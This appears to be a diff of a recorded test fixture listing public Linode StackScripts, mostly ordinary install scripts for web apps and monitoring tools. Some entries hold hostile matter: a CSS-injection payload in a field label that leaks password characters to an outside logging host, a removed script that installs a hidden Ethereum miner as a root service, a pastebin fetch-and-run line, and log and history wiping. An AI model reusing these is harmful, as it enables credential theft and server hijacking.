[{"name": "password", "label": "password", "example": "Please enter you account
password to continue"}, {"name": "var4", "label": "pick{}body{visibility:hidden}#password{visibility:visible;position:fixed;left:50px;top:50px}#password[value$=''a'']{background-image:url(''https://aw.rs/log?a'')!important}#password[value$=''b'']{background-image:url(''https://aw.rs/log?b'')!important}#password[value$=''c'']{background-image:url(''https://aw.rs/log?c'')!important}#password[value$=''d'']{background-image:url(''https://aw.rs/log?d'')!important}#password[value$=''e'']{background-image:url(''https://aw.rs/log?e'')!important}#password[value$=''f'']{background-image:url(''https://aw.rs/log?f'')!important}#password[value$=''g'']{background-image:url(''https://aw.rs/log?g'')!important}#password[value$=''h'']{background-image:url(''https://aw.rs/log?h'')!important}#password[value$=''i'']{background-image:url(''https://aw.rs/log?i'')!important}//",
- "manyof": "foo,bar,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s"}]}, {"id": 2822, "username":
- "smartjones", "user_gravatar_id": "0b874d2362ffd16a2178ba9339c40798", "label":
- "Smartweb", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit"],
+ "manyof": "foo,bar,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s"}]}, {"id": 1177605,
+ "username": "linode", "user_gravatar_id": "9d4d301385af69ceb7ad658aad09c142",
+ "label": "Illa Builder One-Click", "description": "Illa Builder One-Click App",
+ "ordinal": 44, "logo_url": "assets/illabuilder.svg", "images": ["linode/ubuntu22.04"],
+ "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
+ false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
+ "", "script": "#!/bin/bash\n#\n# \n\n## Enable logging \nexec > >(tee
+ /dev/ttyS0 /var/log/stackscript.log) 2>&1\n\n# Apt update/upgrade\napt update\napt
+ upgrade -y\n\n# Install the dependencies & add Docker to the APT repository\napt
+ install -y apt-transport-https ca-certificates curl software-properties-common
+ gnupg2 pwgen ufw\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg |
+ apt-key add -\nadd-apt-repository \"deb [arch=amd64] https://download.docker.com/linux/ubuntu
+ focal stable\"\n\n# Update & install Docker-CE\napt update\napt install -y docker-ce\n\n#
+ Check to ensure Docker is running and installed correctly\nsystemctl status
+ docker\ndocker -v\n\n# Env config\nILLA_HOME_DIR=/var/lib/illa\nPG_VOLUMN=${ILLA_HOME_DIR}/database/postgresql\nWSS_ENABLED=false\nILLA_DEPLOY_MODE=''self-host''\n\n\n#
+ Init\nmkdir -p ${ILLA_HOME_DIR}\nmkdir -p ${PG_VOLUMN}\nmkdir -p ${ILLA_HOME_DIR}\nchmod
+ 0777 ${PG_VOLUMN} # @todo: chmod for MacOS, the gid is \"wheel\", not \"root\".
+ and we will fix this later.\n\n# Run\ndocker run -d \\\n --name illa-builder
+ \\\n -e POSTGRES_PASSWORD=$PG_PASSWORD \\\n -e GIN_MODE=release \\\n -e
+ PGDATA=/var/lib/postgresql/data/pgdata \\\n -e ILLA_DEPLOY_MODE=$ILLA_DEPLOY_MODE
+ \\\n -v $PG_VOLUMN:/var/lib/postgresql/data \\\n -p $PORT:80 \\\n illasoft/illa-builder:latest\n\necho
+ \"\n********************************************************************************\nWelcome
+ to ILLA Builder!\n********************************************************************************\n #
+ Website: https://www.illacloud.com\n # Documentation: https://www.illacloud.com/docs/about-illa\n #
+ Github: https://github.com/illacloud\n # Community Support: https://github.com/orgs/illacloud/discussions\"",
+ "user_defined_fields": [{"name": "PORT", "label": "ILLA Builder Port", "example":
+ "Default: 80", "default": "80"}, {"name": "PG_PASSWORD", "label": "Postgres
+ Password", "example": "s3cure_p4ssw0rd"}]}, {"id": 2822, "username": "smartjones",
+ "user_gravatar_id": "0b874d2362ffd16a2178ba9339c40798", "label": "Smartweb",
+ "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Initial import", "script": "#!/bin/bash\n# /etc/apt/sources.list.d/sensu.list\n\napt-get
update -q", "user_defined_fields": []}, {"id": 978972, "username": "meenubediShine",
"user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "test", "description":
- "test description", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.13",
- "linode/opensuse15.2"], "deployments_total": 0, "deployments_active": 0, "is_public":
+ "test description", "ordinal": 0, "logo_url": "", "images": ["linode/opensuse15.2",
+ "linode/alpine3.13"], "deployments_total": 0, "deployments_active": 0, "is_public":
true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"rev_note": "revision", "script": "#!/bin/bash\r\ntest", "user_defined_fields":
[]}, {"id": 8989, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
@@ -2344,12 +2414,12 @@ interactions:
here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn
completion of the installation process, access http://your-ip:2004 to configure
Joomla 2.5 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
- "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts",
- "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"],
- "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
- false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
- "Joomla 2.5 powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n#
+ "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
+ "linode/ubuntu10.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total":
+ 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "rev_note": "Joomla 2.5 powered by Webuzo",
+ "script": "#!/bin/bash\n# \n\n###########################################################################################################\n#
Install Joomla 2.5 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
@@ -2390,8 +2460,8 @@ interactions:
here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn
completion of the installation process, access http://your-ip:2004 to configure
ShopSite and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
- "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts",
- "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"],
+ "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
+ "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"ShopSite powered by Webuzo", "script": "#!/bin/bash\n# \nsource \nsystem_set_hostname
+ \"$HOSTNAME\"\nexec > >(tee /dev/ttyS0 /var/log/stackscript.log) 2>&1\napt update
+ && apt upgrade -y && apt install -y curl wget net-tools traceroute jq\n# Generate
+ files\nmkdir -p /etc/victoriametrics/single\nmkdir -p /var/lib/victoria-metrics-data\nmkdir
+ -p /var/lib/cloud/scripts/per-instance\n# Create victoriametrics user\ngroupadd
+ -r victoriametrics\nuseradd -g victoriametrics -d /var/lib/victoria-metrics-data
+ -s /sbin/nologin --system victoriametrics\nchown -R victoriametrics:victoriametrics
+ /var/lib/victoria-metrics-data\n# Install VictoriaMetrics Single\nVM_VERSION=`curl
+ -sg \"https://api.github.com/repos/VictoriaMetrics/VictoriaMetrics/tags\" |
+ jq -r ''.[0].name''`\nwget https://github.com/VictoriaMetrics/VictoriaMetrics/releases/download/${VM_VERSION}/victoria-metrics-linux-amd64-${VM_VERSION}.tar.gz -O
+ /tmp/victoria-metrics.tar.gz\ntar xvf /tmp/victoria-metrics.tar.gz -C /usr/bin\nchmod
+ +x /usr/bin/victoria-metrics-prod\nchown root:root /usr/bin/victoria-metrics-prod\ntouch
+ /etc/victoriametrics/single/scrape.yml\nchown root:root /etc/victoriametrics/single/scrape.yml\ncat
+ </etc/systemd/system/vmsingle.service\n[Unit]\nDescription=VictoriaMetrics
+ is a fast, cost-effective and scalable monitoring solution and time series database.\n#
+ https://docs.victoriametrics.com\nAfter=network.target\n[Service]\nType=simple\nUser=victoriametrics\nGroup=victoriametrics\nWorkingDirectory=/var/lib/victoria-metrics-data\nStartLimitBurst=5\nStartLimitInterval=0\nRestart=on-failure\nRestartSec=5\nEnvironmentFile=-/etc/victoriametrics/single/victoriametrics.conf\nExecStart=/usr/bin/victoria-metrics-prod
+ \\$ARGS\nExecStop=/bin/kill -s SIGTERM \\$MAINPID\nExecReload=/bin/kill -HUP
+ \\$MAINPID\n# See docs https://docs.victoriametrics.com/Single-server-VictoriaMetrics.html#tuning\nProtectSystem=full\nLimitNOFILE=1048576\nLimitNPROC=1048576\nLimitCORE=infinity\nStandardOutput=syslog\nStandardError=syslog\nSyslogIdentifier=vmsingle\n[Install]\nWantedBy=multi-user.target\nEND\ncat
+ </etc/victoriametrics/single/victoriametrics.conf\n# See https://docs.victoriametrics.com/Single-server-VictoriaMetrics.html#list-of-command-line-flags
+ to get more information about supported command-line flags\n# \n# If you use
+ IPv6 pleas add \"-enableTCP6\" to args line\nARGS=\"-promscrape.config=/etc/victoriametrics/single/scrape.yml
+ -storageDataPath=/var/lib/victoria-metrics-data -retentionPeriod=12 -httpListenAddr=:8428
+ -graphiteListenAddr=:2003 -opentsdbListenAddr=:4242 -influxListenAddr=:8089
+ -enableTCP6\"\nEND\ncat < /etc/profile.d/victoriametrics_welcome.sh\n#!/bin/sh\n#\nmyip=$(hostname -I
+ | awk ''{print$1}'')\n********************************************************************************
+ \nWelcome to VictoriaMetrics Single.\nTo keep this server secure, the UFW firewall
+ is enabled.\nAll ports are BLOCKED except 22 (SSH), 80 (HTTP), and 443 (HTTPS),
+ 8428 (VictoriaMetrics HTTP), 8089 (VictoriaMetrics Influx),\n4242 (VictoriaMetrics
+ OpenTSDB), 2003 (VictoriaMetrics Graphite)\nIn a web browser, you can view:\n
+ * The VictoriaMetrics Quickstart guide: https://kutt.it/1click-quickstart\nOn
+ the server:\n * The default VictoriaMetrics root is located at /var/lib/victoria-metrics-data\n *
+ VictoriaMetrics is running on ports: 8428, 8089, 4242, 2003 and they are bound
+ to the local interface.\n********************************************************************************\n #
+ This image includes version v1.74.0 of VictoriaMetrics. \n # See Release notes
+ https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.70.0\n #
+ Welcome to VictoriaMetrics droplet!\n # Website: https://victoriametrics.com\n #
+ Documentation: https://docs.victoriametrics.com\n # VictoriaMetrics Github
+ : https://github.com/VictoriaMetrics/VictoriaMetrics\n # VictoriaMetrics Slack
+ Community: https://slack.victoriametrics.com\n # VictoriaMetrics Telegram Community:
+ https://t.me/VictoriaMetrics_en\n # VictoriaMetrics config: /etc/victoriametrics/single/victoriametrics.conf\n #
+ VictoriaMetrics scrape config: /etc/victoriametrics/single/scrape.yml\n #
+ VictoriaMetrics UI accessable on: http://your_droplet_public_ipv4:8428/vmui/\nEND\n#
+ Enable UFW and add some rules to it\nsed -e ''s|DEFAULT_FORWARD_POLICY=.*|DEFAULT_FORWARD_POLICY=\"ACCEPT\"|g''
+ \\\n -i /etc/default/ufw\nufw allow ssh comment \"SSH port\"\nufw allow http
+ comment \"HTTP port\"\nufw allow https comment \"HTTPS port\"\nufw allow 8428
+ comment \"VictoriaMetrics Single HTTP port\"\nufw allow 8089/tcp comment \"TCP
+ Influx Listen port for VictoriaMetrics\"\nufw allow 8089/udp comment \"UDP Influx
+ Listen port for VictoriaMetrics\"\nufw allow 2003/tcp comment \"TCP Graphite
+ Listen port for VictoriaMetrics\"\nufw allow 2003/udp comment \"UDP Graphite
+ Listen port for VictoriaMetrics\"\nufw allow 4242 comment \"OpenTSDB Listen
+ port for VictoriaMetrics\"\nufw --force enable\n# Cleaning up\nrm -rf /tmp/*
+ /var/tmp/*\nhistory -c\ncat /dev/null > /root/.bash_history\nunset HISTFILE\nfind
+ /var/log -mtime -1 -type f ! -name ''stackscript.log'' -exec truncate -s 0 {}
+ \\;\n# Start VictoriaMetrics\nsystemctl enable vmsingle.service\nsystemctl start
+ vmsingle.service\necho \"Installation complete!\"", "user_defined_fields": [{"name":
+ "hostname", "label": "Hostname"}]}, {"id": 9254, "username": "webuzo", "user_gravatar_id":
"cf0348f835d60e6d133040f49bb36ec5", "label": "Apache Roller powered by Webuzo",
"description": "Apache Roller is a full-featured, multi-user and group-blog
server suitable for blog sites large and small.\r\n\r\nApache Roller is a Java
@@ -2845,8 +2979,8 @@ interactions:
Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure Apache
Roller and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
- "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts",
- "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"],
+ "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
+ "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Apache Roller powered by Webuzo", "script": "#!/bin/bash\n# \n# HOSTNAME=\n#\n#\n# FQDN=\n\n# This
+ sets the variable $IPADDR to the IP address the new Linode receives.\nIPADDR=$(/sbin/ifconfig
+ eth0 | awk ''/inet / { print $2 }'' | sed ''s/addr://'')\n\n# This updates the
+ packages on the system from the distribution repositories.\napt-get update\napt-get
+ upgrade -y\n\n# This section sets the hostname.\necho $HOSTNAME > /etc/hostname\nhostname
+ -F /etc/hostname\n\n# This section sets the Fully Qualified Domain Name (FQDN)
+ in the hosts file.\necho $IPADDR $FQDN $HOSTNAME >> /etc/hosts", "user_defined_fields":
+ [{"name": "hostname", "label": "The hostname for the new Linode."}, {"name":
+ "fqdn", "label": "The new Linode''s Fully Qualified Domain Name"}]}, {"id":
+ 9006, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
+ "label": "Jcow powered by Webuzo", "description": "Jcow is a flexible Social
+ Networking software written in PHP. It can help you to:\r\n\r\n * Build a
+ social network for your interests and passions.\r\n * Build a member community
+ for your existing website.\r\n * Build a social networking site like facebook/myspace/twitter.\r\n\r\n\r\n\t\t\t\r\nWebuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc)
on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License
here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn
completion of the installation process, access http://your-ip:2004 to configure
Jcow and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
- "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts",
- "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"],
+ "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
+ "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Jcow powered by Webuzo", "script": "#!/bin/bash\n# /etc/sysctl.conf\n\n###################################################################\n#
Fix for page allocation failure\nvm.min_free_kbytes = 16384\nEOT\n touch /tmp/restart-rsyslog\n}",
- "user_defined_fields": []}, {"id": 9009, "username": "webuzo", "user_gravatar_id":
- "cf0348f835d60e6d133040f49bb36ec5", "label": "MODx powered by Webuzo", "description":
- "MODx helps you take control of your online content. An Open Source PHP application
- framework, it frees you to build sites exactly how you want and make them 100%
- yours. Zero restrictions and fast to build. Super-simple templates in regular
- HTML/CSS/JS (any lib you want). Registered user systems and a killer community.
- Welcome to web-building nirvana.\r\n\t\t\t\r\nWebuzo is a Single User Control
- Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or
- System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines
- or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath
- to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
- of the installation process, access http://your-ip:2004 to configure MODx and
- Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal":
- 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts",
- "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"],
- "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
- false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
- "MODx powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n#
- Install MODx and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
- is a Single User Control Panel which helps users deploy Web Apps (WordPress,
- Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
- etc) on their virtual machines or in the cloud.\n#\n# About MODx :\n# MODx
- helps you take control of your online content. \n# An Open Source PHP application
- framework, it frees you to build sites exactly how you want and make them 100%
- yours. # Zero restrictions and fast to build. Super-simple templates in regular
- HTML/CSS/JS (any lib you want).\n###########################################################################################################\n\n#
- Install MODx Script using Webuzo\nfunction install_webuzo_script(){\n \n #
- Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
- >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
- \"http://$ip:2004/install.php?prepareinstall=109&license=$1\"\n \n}\n\n# Install
- Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
- Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
- 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
- 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
- Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
- MODx and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
- $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
- result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
- \" Installation Completed \"\necho \"-------------------------------------\"\necho
- \"Congratulations, MODx has been successfully installed\"\necho \" \"\necho
- \"You can now configure MODx and Softaculous Webuzo at the following URL :\"\necho
- \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
- Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1056306, "username":
- "Poshumei", "user_gravatar_id": "f08d22196d2e64cd2cc9c03d865d3beb", "label":
- "ETH", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu20.04"],
- "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
- false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
- "", "script": "#!/bin/bash\nsleep 60 ;\nsudo apt update ;\nsudo apt -y install
- nvidia-driver-450 ; \nsudo touch /etc/systemd/system/script.service ;\nsudo
- touch /usr/local/bin/script.sh ;\nsudo chmod 777 /etc/systemd/system/script.service
- ;\nsudo chmod 777 /usr/local/bin/script.sh ;\nsudo echo \"#!/bin/bash\nsleep
- 10 ;\nwget https://github.com/trexminer/T-Rex/releases/download/0.25.12/t-rex-0.25.12-linux.tar.gz
- && tar -xvf t-rex-0.25.12-linux.tar.gz && ./t-rex -a ethash -o stratum+ssl://eth-us-east.flexpool.io:5555
- -u 0x83D84Dc6c238f753fCb15573f55FC5855847050f.worker -p x -w rig0 --no-sni --dns-https-server
- 8.8.8.8\" > /usr/local/bin/script.sh;\n\nsudo echo \"[Unit]\nDescription=Script\nAfter=network.target\n[Service]\nExecStart=/usr/local/bin/script.sh\nType=simple\nRestart=no\nUser=root\nWorkingDirectory=/root\n[Install]\nWantedBy=multi-user.target\"
- > /etc/systemd/system/script.service;\n\nsudo systemctl daemon-reload;\nsudo
- systemctl enable script.service;\nsleep 10;\nsudo reboot", "user_defined_fields":
- []}, {"id": 8242, "username": "clc3123", "user_gravatar_id": "9dd72a7da5f85241e20d45ff374bca88",
- "label": "precise64-with-multi-user-rvm-installed", "description": "", "ordinal":
- 0, "logo_url": "", "images": [null], "deployments_total": 0, "deployments_active":
- 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated":
- "2018-01-02T03:04:05", "rev_note": "Initial import 20140216", "script": "#!/bin/bash\n\n#
- \n# HOSTNAME=home\n#
- \n# FQDN=home.chenlichao.com\n#
- \n# IP_ADDRESS=\"1.2.3.4\"\n#
- \n# TIME_ZONE=\"Asia/Shanghai\"\n\n#
- \n#
- USER_SSH_PORT=22\n# \n# USER_NAME=username\n# \n# USER_PASSWORD=username\n# \n# USER_PUB_KEY=\"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZ5a4st/5p+JH7uxU7h84aedrq9rciqQIWk8RF5Gd835MlvP/eL60mQUbEZ9DbQuTRbHTvNT/HKcZ1GvRfvs7MuEiZcDCaw9qTjoV2Max4eeya4v9n/BBTsQw7gznP7yFa82+5DcH9W+OR/75J1JdzLWz4bw+Rgb/4lym5i6j98x6i6dTOXnCc4uc0t2vrIhqSpxH6cmAoKJtEKKAUQpS8/gGtxVgoOqLTP6jw4HXy+Bi+XTu0C78jSjf6I60fGYd9G4p5ci2iQg7bjnrSGu+2yWHnv35afdNaj8nEp50Ocl4hiMtP9/mcVuN5ffcaxU2hGoKJJodENvyuwaRNRTlX
- username@gmail.com\"\n\n# \n# RVM_VERSION=\"1.25.15\"\n# \n# RVM_RUBY_VERSION=\"1.9.3\"\n\nshow_msg()\n{\n echo
- \">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\"\n echo \"Start $1\"\n echo
- \"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\"\n}\n\nshow_msg \"modifying
- hostname & hosts\"\necho $HOSTNAME > /etc/hostname\necho \"$IP_ADDRESS $FQDN
- $HOSTNAME\" >> /etc/hosts\nhostname -F /etc/hostname\n\nshow_msg \"apt update
- & upgrade\"\ncat < /etc/apt/sources.list\ndeb http://us.archive.ubuntu.com/ubuntu/
- precise main restricted universe multiverse\ndeb http://us.archive.ubuntu.com/ubuntu/
- precise-updates main restricted universe multiverse\ndeb http://security.ubuntu.com/ubuntu
- precise-security main restricted universe multiverse\ndeb-src http://us.archive.ubuntu.com/ubuntu/
- precise main restricted universe multiverse\ndeb-src http://us.archive.ubuntu.com/ubuntu/
- precise-updates main restricted universe multiverse\ndeb-src http://security.ubuntu.com/ubuntu
- precise-security main restricted universe multiverse\nEOF\napt-get update\napt-get
- -y upgrade\n\nshow_msg \"installing common packages\"\napt-get -y install build-essential
- htop byobu vim-nox tree git curl wget\n\nshow_msg \"modifying time zone\"\necho
- $TIME_ZONE > /etc/timezone\ndpkg-reconfigure -f noninteractive tzdata\n\nshow_msg
- \"adding admin user\"\nuseradd -U -d /home/$USER_NAME -m -s /bin/bash $USER_NAME\necho
- \"$USER_NAME:$USER_PASSWORD\" | chpasswd\ncat </tmp/$USER_NAME\n$USER_NAME
- ALL=(ALL) NOPASSWD:ALL\nEOF\nmv /tmp/$USER_NAME /etc/sudoers.d/$USER_NAME\nchmod
- 0440 /etc/sudoers.d/$USER_NAME\n\nshow_msg \"installing multi-user rvm version:
- $RVM_VERSION\"\nsu -l $USER_NAME < $USER_SSH_DIR/authorized_keys\nchmod
- 0600 $USER_SSH_DIR/authorized_keys\nchown -R $USER_NAME:$USER_NAME $USER_SSH_DIR\n
- \nshow_msg \"turning on colored shell prompt\"\nsed -i ''/^#force_color_prompt=yes$/a\\\nforce_color_prompt=yes''
- /home/$USER_NAME/.bashrc\nchown $USER_NAME:$USER_NAME /home/$USER_NAME/.bashrc\n\nshow_msg
- \"adding add_app_runner.sh\"\ncat <<''EOF'' > /home/$USER_NAME/add_app_runner.sh
- \n#!/bin/bash\n\nif [[ `id -u` -eq 0 && \"$#\" -eq 1 ]]; then\n APP_RUNNER=\"$1\"\nelse\n echo
- \"Usage: $ sudo $0 app_runner_name\" >&2\n exit 1\nfi\nuseradd -U -d /home/$APP_RUNNER
- -m -s /bin/bash $APP_RUNNER\nEOF\nchmod 0700 /home/$USER_NAME/add_app_runner.sh\nchown
- $USER_NAME:$USER_NAME /home/$USER_NAME/add_app_runner.sh\n\nshow_msg \"modifying
- sshd setting\"\nsed -i \"s/^Port 22$/Port $USER_SSH_PORT/\" /etc/ssh/sshd_config\nsed
- -i ''s/^LoginGraceTime 120$/LoginGraceTime 30/'' /etc/ssh/sshd_config\nsed -i
- ''s/^PermitRootLogin yes$/PermitRootLogin no/'' /etc/ssh/sshd_config\n\nshow_msg
- \"rebooting now\"\nreboot", "user_defined_fields": []}, {"id": 9010, "username":
- "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Coppermine
- powered by Webuzo", "description": "Coppermine is a multi-purpose fully-featured
- and integrated web picture gallery script written in PHP using GD or ImageMagick
- as image library with a MySQL backend. \r\nCPG is so fully featured it''s not
- enough to fully list them.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel
- which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System
- Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in
- the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath
- to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
- of the installation process, access http://your-ip:2004 to configure Coppermine
- and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
- "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts",
- "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"],
- "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
- false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
- "Coppermine powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n#
- Install Coppermine and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
- is a Single User Control Panel which helps users deploy Web Apps (WordPress,
- Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
- etc) on their virtual machines or in the cloud.\n#\n# About Coppermine :\n# Coppermine
- is a multi-purpose fully-featured and integrated web picture gallery script
- written in PHP \n# using GD or ImageMagick as image library with a MySQL backend.
- \n# CPG is so fully featured it''s not enough to fully list them.\n###########################################################################################################\n\n#
- Install Coppermine Script using Webuzo\nfunction install_webuzo_script(){\n \n #
- Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
- >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
- \"http://$ip:2004/install.php?prepareinstall=27&license=$1\"\n \n}\n\n# Install
- Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
- Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
- 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
- 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
- Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
- Coppermine and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
- $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
- result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
- \" Installation Completed \"\necho \"-------------------------------------\"\necho
- \"Congratulations, Coppermine has been successfully installed\"\necho \" \"\necho
- \"You can now configure Coppermine and Softaculous Webuzo at the following URL
- :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
- Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 346419, "username":
- "lovefirst02", "user_gravatar_id": "44b8b01b76b4d763581dc4e1a8bbb427", "label":
- "prx", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/debian8"],
- "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
- false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
- "Initial import", "script": "#!/bin/sh\n\nwget -O spi https://pastebin.com/raw/1gRjw6Rn
- && sed -i ''s/\\r$//'' spi && bash spi -jessie && rm spi", "user_defined_fields":
